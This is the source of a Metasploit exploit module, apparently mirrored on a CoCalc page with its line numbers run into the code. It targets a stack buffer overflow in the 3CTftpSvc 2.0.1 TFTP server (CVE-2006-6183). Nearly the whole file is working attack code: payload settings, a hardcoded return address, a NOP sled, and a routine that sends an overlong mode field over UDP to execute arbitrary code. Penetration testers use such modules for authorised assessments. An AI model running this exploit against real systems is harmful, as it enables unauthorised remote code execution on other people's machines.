Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => '3CTftpSvc TFTP Long Mode Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By15sending a specially crafted packet with an overly long mode16field, a remote attacker could overflow a buffer and execute17arbitrary code on the system.18},19'Author' => 'MC',20'References' =>21[22['CVE', '2006-6183'],23['OSVDB', '30758'],24['BID', '21301'],25['URL', 'http://web.archive.org/web/20070521014920/http://secunia.com:80/advisories/23113'],26],27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Payload' =>32{33'Space' => 400,34'BadChars' => "\x00",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ '3CTftpSvc 2.0.1', { 'Ret' => 0x00402b02 } ],41],42'Privileged' => true,43'DefaultTarget' => 0,44'DisclosureDate' => '2006-11-27'))4546register_options([Opt::RPORT(69)])47end4849def exploit50connect_udp5152sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)53sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"5455print_status("Trying target #{target.name}...")5657udp_sock.put(sploit)5859disconnect_udp60end61end626364